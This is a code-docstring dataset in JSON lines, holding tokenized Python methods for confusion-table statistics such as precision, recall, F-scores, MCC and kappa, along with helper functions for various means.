{"signature": "def error_pop(self):", "body": "return self._fp + self._fn<EOL>", "docstring": "Return error population.\n\n        Returns\n        -------\n        int\n            The error population of the confusion table\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.error_pop()\n        50", "id": "f6662:c0:m10"}
{"signature": "def cond_pos_pop(self):", "body": "return self._tp + self._fn<EOL>", "docstring": "Return condition positive population.\n\n        Returns\n        -------\n        int\n            The condition positive population of the confusion table\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.cond_pos_pop()\n        150", "id": "f6662:c0:m13"}
{"signature": "def cond_neg_pop(self):", "body": "return self._fp + self._tn<EOL>", "docstring": "Return condition negative population.\n\n        Returns\n        -------\n        int\n            The condition negative population of the confusion table\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.cond_neg_pop()\n        80", "id": "f6662:c0:m14"}
{"signature": "def population(self):", "body": "return self._tp + self._tn + self._fp + self._fn<EOL>", "docstring": "Return population, N.\n\n        Returns\n        -------\n        int\n            The population (N) of the confusion table\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.population()\n        230", "id": "f6662:c0:m15"}
{"signature": "def precision(self):", "body": "if self._tp + self._fp == <NUM_LIT:0>:<EOL><INDENT>return float('<STR_LIT>')<EOL><DEDENT>return self._tp / (self._tp + self._fp)<EOL>", "docstring": "r\"\"\"Return precision.\n\n        Precision is defined as :math:`\\frac{tp}{tp + fp}`\n\n        AKA positive predictive value (PPV)\n\n        Cf. https://en.wikipedia.org/wiki/Precision_and_recall\n\n        Cf. https://en.wikipedia.org/wiki/Information_retrieval#Precision\n\n        Returns\n        -------\n        float\n            The precision of the confusion table\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.precision()\n        0.8571428571428571", "id": "f6662:c0:m16"}
{"signature": "def precision_gain(self):", "body": "if self.population() == <NUM_LIT:0>:<EOL><INDENT>return float('<STR_LIT>')<EOL><DEDENT>random_precision = self.cond_pos_pop() / self.population()<EOL>return self.precision() / random_precision<EOL>", "docstring": "r\"\"\"Return gain in precision.\n\n        The gain in precision is defined as:\n        :math:`G(precision) = \\frac{precision}{random~ precision}`\n\n        Cf. https://en.wikipedia.org/wiki/Gain_(information_retrieval)\n\n        Returns\n        -------\n        float\n            The gain in precision of the confusion table\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.precision_gain()\n        1.3142857142857143", "id": "f6662:c0:m17"}
{"signature": "def recall(self):", "body": "if self._tp + self._fn == <NUM_LIT:0>:<EOL><INDENT>return float('<STR_LIT>')<EOL><DEDENT>return self._tp / (self._tp + self._fn)<EOL>", "docstring": "r\"\"\"Return recall.\n\n        Recall is defined as :math:`\\frac{tp}{tp + fn}`\n\n        AKA sensitivity\n\n        AKA true positive rate (TPR)\n\n        Cf. https://en.wikipedia.org/wiki/Precision_and_recall\n\n        Cf. https://en.wikipedia.org/wiki/Sensitivity_(test)\n\n        Cf. https://en.wikipedia.org/wiki/Information_retrieval#Recall\n\n        Returns\n        -------\n        float\n            The recall of the confusion table\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.recall()\n        0.8", "id": "f6662:c0:m18"}
{"signature": "def specificity(self):", "body": "if self._tn + self._fp == <NUM_LIT:0>:<EOL><INDENT>return float('<STR_LIT>')<EOL><DEDENT>return self._tn / (self._tn + self._fp)<EOL>", "docstring": "r\"\"\"Return specificity.\n\n        Specificity is defined as :math:`\\frac{tn}{tn + fp}`\n\n        AKA true negative rate (TNR)\n\n        Cf. https://en.wikipedia.org/wiki/Specificity_(tests)\n\n        Returns\n        -------\n        float\n            The specificity of the confusion table\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.specificity()\n        0.75", "id": "f6662:c0:m19"}
{"signature": "def npv(self):", "body": "if self._tn + self._fn == <NUM_LIT:0>:<EOL><INDENT>return float('<STR_LIT>')<EOL><DEDENT>return self._tn / (self._tn + self._fn)<EOL>", "docstring": "r\"\"\"Return negative predictive value (NPV).\n\n        NPV is defined as :math:`\\frac{tn}{tn + fn}`\n\n        Cf. https://en.wikipedia.org/wiki/Negative_predictive_value\n\n        Returns\n        -------\n        float\n            The negative predictive value of the confusion table\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.npv()\n        0.6666666666666666", "id": "f6662:c0:m20"}
{"signature": "def fallout(self):", "body": "if self._fp + self._tn == <NUM_LIT:0>:<EOL><INDENT>return float('<STR_LIT>')<EOL><DEDENT>return self._fp / (self._fp + self._tn)<EOL>", "docstring": "r\"\"\"Return fall-out.\n\n        Fall-out is defined as :math:`\\frac{fp}{fp + tn}`\n\n        AKA false positive rate (FPR)\n\n        Cf. https://en.wikipedia.org/wiki/Information_retrieval#Fall-out\n\n        Returns\n        -------\n        float\n            The fall-out of the confusion table\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.fallout()\n        0.25", "id": "f6662:c0:m21"}
{"signature": "def fdr(self):", "body": "if self._fp + self._tp == <NUM_LIT:0>:<EOL><INDENT>return float('<STR_LIT>')<EOL><DEDENT>return self._fp / (self._fp + self._tp)<EOL>", "docstring": "r\"\"\"Return false discovery rate (FDR).\n\n        False discovery rate is defined as :math:`\\frac{fp}{fp + tp}`\n\n        Cf. https://en.wikipedia.org/wiki/False_discovery_rate\n\n        Returns\n        -------\n        float\n            The false discovery rate of the confusion table\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.fdr()\n        0.14285714285714285", "id": "f6662:c0:m22"}
{"signature": "def accuracy(self):", "body": "if self.population() == <NUM_LIT:0>:<EOL><INDENT>return float('<STR_LIT>')<EOL><DEDENT>return (self._tp + self._tn) / self.population()<EOL>", "docstring": "r\"\"\"Return accuracy.\n\n        Accuracy is defined as :math:`\\frac{tp + tn}{population}`\n\n        Cf. https://en.wikipedia.org/wiki/Accuracy\n\n        Returns\n        -------\n        float\n            The accuracy of the confusion table\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.accuracy()\n        0.782608695652174", "id": "f6662:c0:m23"}
{"signature": "def accuracy_gain(self):", "body": "if self.population() == <NUM_LIT:0>:<EOL><INDENT>return float('<STR_LIT>')<EOL><DEDENT>random_accuracy = (self.cond_pos_pop() / self.population()) ** <NUM_LIT:2> + (<EOL>self.cond_neg_pop() / self.population()<EOL>) ** <NUM_LIT:2><EOL>return self.accuracy() / random_accuracy<EOL>", "docstring": "r\"\"\"Return gain in accuracy.\n\n        The gain in accuracy is defined as:\n        :math:`G(accuracy) = \\frac{accuracy}{random~ accuracy}`\n\n        Cf. https://en.wikipedia.org/wiki/Gain_(information_retrieval)\n\n        Returns\n        -------\n        float\n            The gain in accuracy of the confusion table\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.accuracy_gain()\n        1.4325259515570934", "id": "f6662:c0:m24"}
{"signature": "def balanced_accuracy(self):", "body": "return <NUM_LIT:0.5> * (self.recall() + self.specificity())<EOL>", "docstring": "r\"\"\"Return balanced accuracy.\n\n        Balanced accuracy is defined as\n        :math:`\\frac{sensitivity + specificity}{2}`\n\n        Cf. https://en.wikipedia.org/wiki/Accuracy\n\n        Returns\n        -------\n        float\n            The balanced accuracy of the confusion table\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.balanced_accuracy()\n        0.775", "id": "f6662:c0:m25"}
{"signature": "def informedness(self):", "body": "return self.recall() + self.specificity() - <NUM_LIT:1><EOL>", "docstring": "Return informedness.\n\n        Informedness is defined as :math:`sensitivity + specificity - 1`.\n\n        AKA Youden's J statistic (:cite:`Youden:1950`)\n\n        AKA DeltaP'\n\n        Cf. https://en.wikipedia.org/wiki/Youden%27s_J_statistic\n\n        Returns\n        -------\n        float\n            The informedness of the confusion table\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.informedness()\n        0.55", "id": "f6662:c0:m26"}
{"signature": "def markedness(self):", "body": "return self.precision() + self.npv() - <NUM_LIT:1><EOL>", "docstring": "Return markedness.\n\n        Markedness is defined as :math:`precision + npv - 1`\n\n        Returns\n        -------\n        float\n            The markedness of the confusion table\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.markedness()\n        0.5238095238095237", "id": "f6662:c0:m27"}
{"signature": "def pr_amean(self):", "body": "return amean((self.precision(), self.recall()))<EOL>", "docstring": "r\"\"\"Return arithmetic mean of precision & recall.\n\n        The arithmetic mean of precision and recall is defined as:\n        :math:`\\frac{precision \\cdot recall}{2}`\n\n        Cf. https://en.wikipedia.org/wiki/Arithmetic_mean\n\n        Returns\n        -------\n        float\n            The arithmetic mean of the confusion table's precision & recall\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.pr_amean()\n        0.8285714285714285", "id": "f6662:c0:m28"}
{"signature": "def pr_gmean(self):", "body": "return gmean((self.precision(), self.recall()))<EOL>", "docstring": "r\"\"\"Return geometric mean of precision & recall.\n\n        The geometric mean of precision and recall is defined as:\n        :math:`\\sqrt{precision \\cdot recall}`\n\n        Cf. https://en.wikipedia.org/wiki/Geometric_mean\n\n        Returns\n        -------\n        float\n            The geometric mean of the confusion table's precision & recall\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.pr_gmean()\n        0.828078671210825", "id": "f6662:c0:m29"}
{"signature": "def pr_hmean(self):", "body": "return hmean((self.precision(), self.recall()))<EOL>", "docstring": "r\"\"\"Return harmonic mean of precision & recall.\n\n        The harmonic mean of precision and recall is defined as:\n        :math:`\\frac{2 \\cdot precision \\cdot recall}{precision + recall}`\n\n        Cf. https://en.wikipedia.org/wiki/Harmonic_mean\n\n        Returns\n        -------\n        float\n            The harmonic mean of the confusion table's precision & recall\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.pr_hmean()\n        0.8275862068965516", "id": "f6662:c0:m30"}
{"signature": "def pr_qmean(self):", "body": "return qmean((self.precision(), self.recall()))<EOL>", "docstring": "r\"\"\"Return quadratic mean of precision & recall.\n\n        The quadratic mean of precision and recall is defined as:\n        :math:`\\sqrt{\\frac{precision^{2} + recall^{2}}{2}}`\n\n        Cf. https://en.wikipedia.org/wiki/Quadratic_mean\n\n        Returns\n        -------\n        float\n            The quadratic mean of the confusion table's precision & recall\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.pr_qmean()\n        0.8290638930598233", "id": "f6662:c0:m31"}
{"signature": "def pr_cmean(self):", "body": "return cmean((self.precision(), self.recall()))<EOL>", "docstring": "r\"\"\"Return contraharmonic mean of precision & recall.\n\n        The contraharmonic mean is:\n        :math:`\\frac{precision^{2} + recall^{2}}{precision + recall}`\n\n        Cf. https://en.wikipedia.org/wiki/Contraharmonic_mean\n\n        Returns\n        -------\n        float\n            The contraharmonic mean of the confusion table's precision & recall\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.pr_cmean()\n        0.8295566502463055", "id": "f6662:c0:m32"}
{"signature": "def pr_lmean(self):", "body": "precision = self.precision()<EOL>recall = self.recall()<EOL>if not precision or not recall:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>elif precision == recall:<EOL><INDENT>return precision<EOL><DEDENT>return (precision - recall) / (math.log(precision) - math.log(recall))<EOL>", "docstring": "r\"\"\"Return logarithmic mean of precision & recall.\n\n        The logarithmic mean is:\n        0 if either precision or recall is 0,\n        the precision if they are equal,\n        otherwise :math:`\\frac{precision - recall}\n        {ln(precision) - ln(recall)}`\n\n        Cf. https://en.wikipedia.org/wiki/Logarithmic_mean\n\n        Returns\n        -------\n        float\n            The logarithmic mean of the confusion table's precision & recall\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.pr_lmean()\n        0.8282429171492667", "id": "f6662:c0:m33"}
{"signature": "def pr_imean(self):", "body": "return imean((self.precision(), self.recall()))<EOL>", "docstring": "r\"\"\"Return identric (exponential) mean of precision & recall.\n\n        The identric mean is:\n        precision if precision = recall,\n        otherwise :math:`\\frac{1}{e} \\cdot\n        \\sqrt[precision - recall]{\\frac{precision^{precision}}\n        {recall^{recall}}}`\n\n        Cf. https://en.wikipedia.org/wiki/Identric_mean\n\n        Returns\n        -------\n        float\n            The identric mean of the confusion table's precision & recall\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.pr_imean()\n        0.8284071826325543", "id": "f6662:c0:m34"}
{"signature": "def pr_seiffert_mean(self):", "body": "return seiffert_mean((self.precision(), self.recall()))<EOL>", "docstring": "r\"\"\"Return Seiffert's mean of precision & recall.\n\n        Seiffert's mean of precision and recall is:\n        :math:`\\frac{precision - recall}{4 \\cdot arctan\n        \\sqrt{\\frac{precision}{recall}} - \\pi}`\n\n        It is defined in :cite:`Seiffert:1993`.\n\n        Returns\n        -------\n        float\n            Seiffert's mean of the confusion table's precision & recall\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.pr_seiffert_mean()\n        0.8284071696048312", "id": "f6662:c0:m35"}
{"signature": "def pr_lehmer_mean(self, exp=<NUM_LIT>):", "body": "return lehmer_mean((self.precision(), self.recall()), exp)<EOL>", "docstring": "r\"\"\"Return Lehmer mean of precision & recall.\n\n        The Lehmer mean is:\n        :math:`\\frac{precision^{exp} + recall^{exp}}\n        {precision^{exp-1} + recall^{exp-1}}`\n\n        Cf. https://en.wikipedia.org/wiki/Lehmer_mean\n\n        Parameters\n        ----------\n        exp : float\n            The exponent of the Lehmer mean\n\n        Returns\n        -------\n        float\n            The Lehmer mean for the given exponent of the confusion table's\n            precision & recall\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.pr_lehmer_mean()\n        0.8295566502463055", "id": "f6662:c0:m36"}
{"signature": "def pr_heronian_mean(self):", "body": "return heronian_mean((self.precision(), self.recall()))<EOL>", "docstring": "r\"\"\"Return Heronian mean of precision & recall.\n\n        The Heronian mean of precision and recall is defined as:\n        :math:`\\frac{precision + \\sqrt{precision \\cdot recall} + recall}{3}`\n\n        Cf. https://en.wikipedia.org/wiki/Heronian_mean\n\n        Returns\n        -------\n        float\n            The Heronian mean of the confusion table's precision & recall\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.pr_heronian_mean()\n        0.8284071761178939", "id": "f6662:c0:m37"}
{"signature": "def pr_hoelder_mean(self, exp=<NUM_LIT:2>):", "body": "return hoelder_mean((self.precision(), self.recall()), exp)<EOL>", "docstring": "r\"\"\"Return H\u00f6lder (power/generalized) mean of precision & recall.\n\n        The power mean of precision and recall is defined as:\n        :math:`\\frac{1}{2} \\cdot\n        \\sqrt[exp]{precision^{exp} + recall^{exp}}`\n        for :math:`exp \\ne 0`, and the geometric mean for :math:`exp = 0`\n\n        Cf. https://en.wikipedia.org/wiki/Generalized_mean\n\n        Parameters\n        ----------\n        exp : float\n            The exponent of the H\u00f6lder mean\n\n        Returns\n        -------\n        float\n            The H\u00f6lder mean for the given exponent of the confusion table's\n            precision & recall\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.pr_hoelder_mean()\n        0.8290638930598233", "id": "f6662:c0:m38"}
{"signature": "def pr_agmean(self):", "body": "return agmean((self.precision(), self.recall()))<EOL>", "docstring": "Return arithmetic-geometric mean of precision & recall.\n\n        Iterates between arithmetic & geometric means until they converge to\n        a single value (rounded to 12 digits)\n\n        Cf. https://en.wikipedia.org/wiki/Arithmetic-geometric_mean\n\n        Returns\n        -------\n        float\n            The arithmetic-geometric mean of the confusion table's precision &\n            recall\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.pr_agmean()\n        0.8283250315702829", "id": "f6662:c0:m39"}
{"signature": "def pr_ghmean(self):", "body": "return ghmean((self.precision(), self.recall()))<EOL>", "docstring": "Return geometric-harmonic mean of precision & recall.\n\n        Iterates between geometric & harmonic means until they converge to\n        a single value (rounded to 12 digits)\n\n        Cf. https://en.wikipedia.org/wiki/Geometric-harmonic_mean\n\n        Returns\n        -------\n        float\n            The geometric-harmonic mean of the confusion table's precision &\n            recall\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.pr_ghmean()\n        0.8278323841238441", "id": "f6662:c0:m40"}
{"signature": "def pr_aghmean(self):", "body": "return aghmean((self.precision(), self.recall()))<EOL>", "docstring": "Return arithmetic-geometric-harmonic mean of precision & recall.\n\n        Iterates over arithmetic, geometric, & harmonic means until they\n        converge to a single value (rounded to 12 digits), following the\n        method described in :cite:`Raissouli:2009`.\n\n        Returns\n        -------\n        float\n            The arithmetic-geometric-harmonic mean of the confusion table's\n            precision & recall\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.pr_aghmean()\n        0.8280786712108288", "id": "f6662:c0:m41"}
{"signature": "def fbeta_score(self, beta=<NUM_LIT:1.0>):", "body": "if beta <= <NUM_LIT:0>:<EOL><INDENT>raise AttributeError('<STR_LIT>')<EOL><DEDENT>precision = self.precision()<EOL>recall = self.recall()<EOL>return (<EOL>(<NUM_LIT:1> + beta ** <NUM_LIT:2>)<EOL>* precision<EOL>* recall<EOL>/ ((beta ** <NUM_LIT:2> * precision) + recall)<EOL>)<EOL>", "docstring": "r\"\"\"Return :math:`F_{\\beta}` score.\n\n        :math:`F_{\\beta}` for a positive real value :math:`\\beta` \"measures\n        the effectiveness of retrieval with respect to a user who\n        attaches :math:`\\beta` times as much importance to recall as\n        precision\" (van Rijsbergen 1979)\n\n        :math:`F_{\\beta}` score is defined as:\n        :math:`(1 + \\beta^2) \\cdot \\frac{precision \\cdot recall}\n        {((\\beta^2 \\cdot precision) + recall)}`\n\n        Cf. https://en.wikipedia.org/wiki/F1_score\n\n        Parameters\n        ----------\n        beta : float\n            The :math:`\\beta` parameter in the above formula\n\n        Returns\n        -------\n        float\n            The :math:`F_{\\beta}` of the confusion table\n\n        Raises\n        ------\n        AttributeError\n            Beta must be a positive real value\n\n        Examples\n        --------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.fbeta_score()\n        0.8275862068965518\n        >>> ct.fbeta_score(beta=0.1)\n        0.8565371024734982", "id": "f6662:c0:m42"}
{"signature": "def f2_score(self):", "body": "return self.fbeta_score(<NUM_LIT>)<EOL>", "docstring": "Return :math:`F_{2}`.\n\n        The :math:`F_{2}` score emphasizes recall over precision in comparison\n        to the :math:`F_{1}` score\n\n        Cf. https://en.wikipedia.org/wiki/F1_score\n\n        Returns\n        -------\n        float\n            The :math:`F_{2}` of the confusion table\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.f2_score()\n        0.8108108108108109", "id": "f6662:c0:m43"}
{"signature": "def fhalf_score(self):", "body": "return self.fbeta_score(<NUM_LIT:0.5>)<EOL>", "docstring": "Return :math:`F_{0.5}` score.\n\n        The :math:`F_{0.5}` score emphasizes precision over recall in\n        comparison to the :math:`F_{1}` score\n\n        Cf. https://en.wikipedia.org/wiki/F1_score\n\n        Returns\n        -------\n        float\n            The :math:`F_{0.5}` score of the confusion table\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.fhalf_score()\n        0.8450704225352114", "id": "f6662:c0:m44"}
{"signature": "def e_score(self, beta=<NUM_LIT:1>):", "body": "return <NUM_LIT:1> - self.fbeta_score(beta)<EOL>", "docstring": "r\"\"\"Return :math:`E`-score.\n\n        This is Van Rijsbergen's effectiveness measure:\n        :math:`E=1-F_{\\beta}`.\n\n        Cf. https://en.wikipedia.org/wiki/Information_retrieval#F-measure\n\n        Parameters\n        ----------\n        beta : float\n            The :math:`\\beta` parameter in the above formula\n\n        Returns\n        -------\n        float\n            The :math:`E`-score of the confusion table\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.e_score()\n        0.17241379310344818", "id": "f6662:c0:m45"}
{"signature": "def f1_score(self):", "body": "return self.pr_hmean()<EOL>", "docstring": "r\"\"\"Return :math:`F_{1}` score.\n\n        :math:`F_{1}` score is the harmonic mean of precision and recall:\n        :math:`2 \\cdot \\frac{precision \\cdot recall}{precision + recall}`\n\n        Cf. https://en.wikipedia.org/wiki/F1_score\n\n        Returns\n        -------\n        float\n            The :math:`F_{1}` of the confusion table\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.f1_score()\n        0.8275862068965516", "id": "f6662:c0:m46"}
{"signature": "def f_measure(self):", "body": "return self.pr_hmean()<EOL>", "docstring": "r\"\"\"Return :math:`F`-measure.\n\n        :math:`F`-measure is the harmonic mean of precision and recall:\n        :math:`2 \\cdot \\frac{precision \\cdot recall}{precision + recall}`\n\n        Cf. https://en.wikipedia.org/wiki/F1_score\n\n        Returns\n        -------\n        float\n            The math:`F`-measure of the confusion table\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.f_measure()\n        0.8275862068965516", "id": "f6662:c0:m47"}
{"signature": "def g_measure(self):", "body": "return self.pr_gmean()<EOL>", "docstring": "r\"\"\"Return G-measure.\n\n        :math:`G`-measure is the geometric mean of precision and recall:\n        :math:`\\sqrt{precision \\cdot recall}`\n\n        This is identical to the Fowlkes\u2013Mallows (FM) index for two\n        clusters.\n\n        Cf. https://en.wikipedia.org/wiki/F1_score#G-measure\n\n        Cf. https://en.wikipedia.org/wiki/Fowlkes%E2%80%93Mallows_index\n\n        Returns\n        -------\n        float\n            The :math:`G`-measure of the confusion table\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.g_measure()\n        0.828078671210825", "id": "f6662:c0:m48"}
{"signature": "def mcc(self):", "body": "if (<EOL>(<EOL>(self._tp + self._fp)<EOL>* (self._tp + self._fn)<EOL>* (self._tn + self._fp)<EOL>* (self._tn + self._fn)<EOL>)<EOL>) == <NUM_LIT:0>:<EOL><INDENT>return float('<STR_LIT>')<EOL><DEDENT>return ((self._tp * self._tn) - (self._fp * self._fn)) / math.sqrt(<EOL>(self._tp + self._fp)<EOL>* (self._tp + self._fn)<EOL>* (self._tn + self._fp)<EOL>* (self._tn + self._fn)<EOL>)<EOL>", "docstring": "r\"\"\"Return Matthews correlation coefficient (MCC).\n\n        The Matthews correlation coefficient is defined in\n        :cite:`Matthews:1975` as:\n        :math:`\\frac{(tp \\cdot tn) - (fp \\cdot fn)}\n        {\\sqrt{(tp + fp)(tp + fn)(tn + fp)(tn + fn)}}`\n\n        This is equivalent to the geometric mean of informedness and\n        markedness, defined above.\n\n        Cf. https://en.wikipedia.org/wiki/Matthews_correlation_coefficient\n\n        Returns\n        -------\n        float\n            The Matthews correlation coefficient of the confusion table\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.mcc()\n        0.5367450401216932", "id": "f6662:c0:m49"}
{"signature": "def significance(self):", "body": "if (<EOL>(<EOL>(self._tp + self._fp)<EOL>* (self._tp + self._fn)<EOL>* (self._tn + self._fp)<EOL>* (self._tn + self._fn)<EOL>)<EOL>) == <NUM_LIT:0>:<EOL><INDENT>return float('<STR_LIT>')<EOL><DEDENT>return (<EOL>(self._tp * self._tn - self._fp * self._fn) ** <NUM_LIT:2><EOL>* (self._tp + self._tn + self._fp + self._fn)<EOL>) / (<EOL>(self._tp + self._fp)<EOL>* (self._tp + self._fn)<EOL>* (self._tn + self._fp)<EOL>* (self._tn + self._fn)<EOL>)<EOL>", "docstring": "r\"\"\"Return the significance, :math:`\\chi^{2}`.\n\n        Significance is defined as:\n        :math:`\\chi^{2} =\n        \\frac{(tp \\cdot tn - fp \\cdot fn)^{2} (tp + tn + fp + fn)}\n        {((tp + fp)(tp + fn)(tn + fp)(tn + fn)}`\n\n        Also: :math:`\\chi^{2} = MCC^{2} \\cdot n`\n\n        Cf. https://en.wikipedia.org/wiki/Pearson%27s_chi-square_test\n\n        Returns\n        -------\n        float\n            The significance of the confusion table\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.significance()\n        66.26190476190476", "id": "f6662:c0:m50"}
{"signature": "def kappa_statistic(self):", "body": "if self.population() == <NUM_LIT:0>:<EOL><INDENT>return float('<STR_LIT>')<EOL><DEDENT>random_accuracy = (<EOL>(self._tn + self._fp) * (self._tn + self._fn)<EOL>+ (self._fn + self._tp) * (self._fp + self._tp)<EOL>) / self.population() ** <NUM_LIT:2><EOL>return (self.accuracy() - random_accuracy) / (<NUM_LIT:1> - random_accuracy)<EOL>", "docstring": "r\"\"\"Return \u03ba statistic.\n\n        The \u03ba statistic is defined as:\n        :math:`\\kappa = \\frac{accuracy - random~ accuracy}\n        {1 - random~ accuracy}`\n\n        The \u03ba statistic compares the performance of the classifier relative to\n        the performance of a random classifier. :math:`\\kappa` = 0 indicates\n        performance identical to random. :math:`\\kappa` = 1 indicates perfect\n        predictive success. :math:`\\kappa` = -1 indicates perfect predictive\n        failure.\n\n        Returns\n        -------\n        float\n            The \u03ba statistic of the confusion table\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.kappa_statistic()\n        0.5344129554655871", "id": "f6662:c0:m51"}
{"signature": "def amean(nums):", "body": "return sum(nums) / len(nums)<EOL>", "docstring": "r\"\"\"Return arithmetic mean.\n\n    The arithmetic mean is defined as:\n    :math:`\\frac{\\sum{nums}}{|nums|}`\n\n    Cf. https://en.wikipedia.org/wiki/Arithmetic_mean\n\n    Parameters\n    ----------\n    nums : list\n        A series of numbers\n\n    Returns\n    -------\n    float\n        The arithmetric mean of nums\n\n    Examples\n    --------\n    >>> amean([1, 2, 3, 4])\n    2.5\n    >>> amean([1, 2])\n    1.5\n    >>> amean([0, 5, 1000])\n    335.0", "id": "f6663:m0"}
{"signature": "def gmean(nums):", "body": "return _prod(nums) ** (<NUM_LIT:1> / len(nums))<EOL>", "docstring": "r\"\"\"Return geometric mean.\n\n    The geometric mean is defined as:\n    :math:`\\sqrt[|nums|]{\\prod\\limits_{i} nums_{i}}`\n\n    Cf. https://en.wikipedia.org/wiki/Geometric_mean\n\n    Parameters\n    ----------\n    nums : list\n        A series of numbers\n\n    Returns\n    -------\n    float\n        The geometric mean of nums\n\n    Examples\n    --------\n    >>> gmean([1, 2, 3, 4])\n    2.213363839400643\n    >>> gmean([1, 2])\n    1.4142135623730951\n    >>> gmean([0, 5, 1000])\n    0.0", "id": "f6663:m1"}
{"signature": "def hmean(nums):", "body": "if len(nums) < <NUM_LIT:1>:<EOL><INDENT>raise AttributeError('<STR_LIT>')<EOL><DEDENT>elif len(nums) == <NUM_LIT:1>:<EOL><INDENT>return nums[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>for i in range(<NUM_LIT:1>, len(nums)):<EOL><INDENT>if nums[<NUM_LIT:0>] != nums[i]:<EOL><INDENT>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return nums[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>if <NUM_LIT:0> in nums:<EOL><INDENT>if nums.count(<NUM_LIT:0>) > <NUM_LIT:1>:<EOL><INDENT>return float('<STR_LIT>')<EOL><DEDENT>return <NUM_LIT:0><EOL><DEDENT>return len(nums) / sum(<NUM_LIT:1> / i for i in nums)<EOL>", "docstring": "r\"\"\"Return harmonic mean.\n\n    The harmonic mean is defined as:\n    :math:`\\frac{|nums|}{\\sum\\limits_{i}\\frac{1}{nums_i}}`\n\n    Following the behavior of Wolfram|Alpha:\n    - If one of the values in nums is 0, return 0.\n    - If more than one value in nums is 0, return NaN.\n\n    Cf. https://en.wikipedia.org/wiki/Harmonic_mean\n\n    Parameters\n    ----------\n    nums : list\n        A series of numbers\n\n    Returns\n    -------\n    float\n        The harmonic mean of nums\n\n    Raises\n    ------\n    AttributeError\n        hmean requires at least one value\n\n    Examples\n    --------\n    >>> hmean([1, 2, 3, 4])\n    1.9200000000000004\n    >>> hmean([1, 2])\n    1.3333333333333333\n    >>> hmean([0, 5, 1000])\n    0", "id": "f6663:m2"}
{"signature": "def qmean(nums):", "body": "return (sum(i ** <NUM_LIT:2> for i in nums) / len(nums)) ** <NUM_LIT:0.5><EOL>", "docstring": "r\"\"\"Return quadratic mean.\n\n    The quadratic mean of precision and recall is defined as:\n    :math:`\\sqrt{\\sum\\limits_{i} \\frac{num_i^2}{|nums|}}`\n\n    Cf. https://en.wikipedia.org/wiki/Quadratic_mean\n\n    Parameters\n    ----------\n    nums : list\n        A series of numbers\n\n    Returns\n    -------\n    float\n        The quadratic mean of nums\n\n    Examples\n    --------\n    >>> qmean([1, 2, 3, 4])\n    2.7386127875258306\n    >>> qmean([1, 2])\n    1.5811388300841898\n    >>> qmean([0, 5, 1000])\n    577.3574860228857", "id": "f6663:m3"}
